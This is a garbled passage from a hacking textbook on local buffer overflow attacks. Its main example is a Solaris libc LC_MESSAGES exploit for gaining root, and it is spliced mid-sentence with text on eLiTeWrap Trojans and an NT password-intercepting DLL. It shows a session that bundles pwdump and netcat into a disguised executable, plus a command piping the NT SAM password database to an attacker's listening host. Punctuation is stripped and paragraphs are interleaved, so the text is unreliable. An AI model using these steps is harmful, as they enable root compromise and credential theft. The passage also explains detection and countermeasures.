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Local buffer overflow attacks are extremely popular As discussed in the Remote Access section earlier, buffer overflow vulnerabilities allow attackers to execute arbitrary code or commands on a target system Most times, buffer overflow conditions are used to exploit SUID root files, enabling the attackers to execute commands with root privileges We already covered how buffer overflow conditions allow arbitrary command execution (See Buffer Overflow Attacks, earlier in the chapter) In this section, we discuss and give examples of how a local buffer overflow attack works In May 1999, Shadow Penguin Security released an advisory related to a buffer overflow condition in libc relating to the environmental variable LC_MESSAGES Any SUID program that is dynamically linked to libc and that honors the LC_MESSAGES environmental variable is subject to a buffer overflow attack This buffer overflow condition affects many different programs because it is a buffer overflow in the system libraries (libc) rather than in one specific program, as discussed earlier This is an important point and one of the reasons we chose this example It is possible for a buffer overflow condition to affect many different programs if the overflow condition exists in libc Let s discuss how this vulnerability is exploited First, we need to compile the actual exploit Your mileage will vary greatly because exploit code is very persnickety Often, you will have to tinker with the code to get it to compile because it is platform dependent This particular exploit is written for Solaris 26 and 7 To compile the code, we used gcc, or the GNU compiler Solaris does not come with a compiler, unless purchased separately, but gcc may be downloaded for free at http://wwwsunfreewarecom The source code is designated by *c The executable will be saved as ex_lobc by using the o option:

14:

Next, we execute ex_lobc, which will exploit the overflow condition in libc via an SUID program such as /bin/passwd:

Enter name of output file: badexe Operations: 1 - Pack only 2 - Pack and execute, visible, 3 - Pack and execute, hidden, 4 - Pack and execute, visible, 5 - Pack and execute, hidden, 6 - Execute only, visible, 7 - Execute only, hidden, 8 - Execute only, visible, 9 - Execute only, hidden, Enter package file #1: c:\nt\pwdumpexe Enter operation: 1 Enter package file #2: c:\nt\ncexe Enter operation: 1 Enter package file #3: c:\nt\ew\attackbat Enter operation: 7 Enter command line: Enter package file #4: All done :)

asynchronously asynchronously synchronously synchronously asynchronously asynchronously synchronously synchronously

[itchy]$ /ex_lobc jumping address : efffe7a8 #

You should now have a file called badexe that, when run, will expand pwdumpexe, netcat (ncexe), and run our attackbat batch file to execute a simple command like pwdump | ncexe n 19216811 3000 to dump an NT SAM database to the attacker s system (19216811, which would be configured to listen on port 3000 using netcat) ELiTeWrap can be detected if the attacker forgets to remove the eLiTeWrap signature in the executable The following Find command will find the signature in any EXE file:

The exploit then jumps to a specific address in memory, and /bin/sh is run with root privileges This results in the unmistakable # sign, indicating that we have gained root

The eLiTeWrap target word can be changed and should not be relied on solely for detecting eLiTeWrap Trojans

access This exercise was quite simple and can make anyone look like a security expert In reality, the Shadow Penguin Security group performed the hard work by discovering and exploiting this vulnerability As you can imagine, the ease of obtaining root access is a major attraction to most attackers when using local buffer overflow exploits

A particularly insidious task for a Trojan to perform is to grab usernames and passwords while masquerading as a valid system logon component One example of such an exploit is the FPNWCLNTDLL library that is installed on NT servers that need to synchronize passwords with Novell NetWare systems This DLL intercepts password changes before they are encrypted and written to the SAM, allowing NetWare services to obtain a readable form of the password to allow single signon Sample code was posted to the Internet that logged the password change notifications to a file called C:\TEMP\PWDCHANGEOUT, and not the actual passwords (see http://wwwntsecuritynet/security/passworddllhtm for further information and the

The best buffer overflow countermeasure is secure coding practices combined with a nonexecutable stack If the stack had been nonexecutable, we would have had a much harder time trying to exploit this vulnerability See the Buffer Overflow Attacks section, earlier in the chapter, for a complete listing of countermeasures Evaluate and remove the SUID bit on any file that does not absolutely require SUID permissions